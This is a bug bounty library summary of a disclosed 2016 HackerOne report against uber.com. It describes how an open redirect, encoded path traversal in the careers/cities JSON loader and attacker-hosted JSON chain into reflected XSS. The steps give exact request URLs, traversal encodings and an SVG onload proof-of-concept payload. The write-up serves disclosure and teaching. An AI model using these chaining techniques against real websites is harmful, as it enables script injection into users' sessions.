# Reflected XSS via Unvalidated / Open Redirect in uber.com

Path traversal in uber.com careers/cities JSON fetch combined with an open redirect let attacker-hosted JSON inject SVG onload XSS on uber.com.

- Payout: $3,000
- Severity: high
- Program: Uber
- Credited: mdv
- Disclosed: 2016-05-09
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/125791
- Library page: https://bugbountylibrary.com/r/h1%3A125791
- Tags: domain:web impact:integrity kind:bounty platform:hackerone sev:high tech:rest technique:chained vuln:open-redirect vuln:path-traversal vuln:xss

**Target:** uber.com careers/cities pages and /api/jobs JSON loader
**Root cause:** The careers/cities pages build a JSON API path from a user-controlled URL segment without sanitizing `../` sequences, and the resulting path is resolved through an open redirect (`//example.com/`), so the browser loads attacker-controlled JSON that is rendered into the DOM unsanitized.
**Steps:**
1. Confirm open redirect: `GET https://www.uber.com/en//example.com/` returns `301 Location: //example.com/`
2. Confirm CSS injection via `?theme=../en//example.com/css-code.css%23` loading external stylesheet
3. Host attacker JSON at `example.com/file.json` with `overview`/`name` fields containing `<svg onload=alert(document.domain)>`
4. Request `https://www.uber.com/careers/list/..%2f..%2fen%2f%2fexample.com%2ffile.json/` so the page fetches `uber.com/en//example.com/file.json` which redirects to attacker JSON
5. Same via `https://www.uber.com/cities/%252e%252e%2f%252e%252e%2fen%2f%2fexample.com%2ffile.json/`
6. JSON fields render into page, executing the SVG onload payload
**How found:** Researcher noticed the open redirect first, then probed the `theme` parameter for CSS injection, then hypothesized the JSON-loading endpoints (careers/cities) build paths from URL segments and tested traversal with encoded `../` to redirect the JSON fetch off-domain.
**Exploitation:** Attacker hosts a JSON file on their domain, crafts a uber.com URL whose path traversal escapes the API prefix and whose `//example.com/` segment triggers the open redirect, causing the browser to fetch and render attacker JSON, executing JS in uber.com origin.
**Escalation:** Chained open redirect + path traversal + JSON injection to escalate a low-impact redirect into reflected XSS with full DOM control.
**Insight:** When a page loads JSON/CSS from a path derived from the URL, test encoded traversal (`..%2f`, `%252e%252e%2f`) combined with any open redirect on the same host to pivot the fetch to attacker-controlled content that gets rendered unsanitized.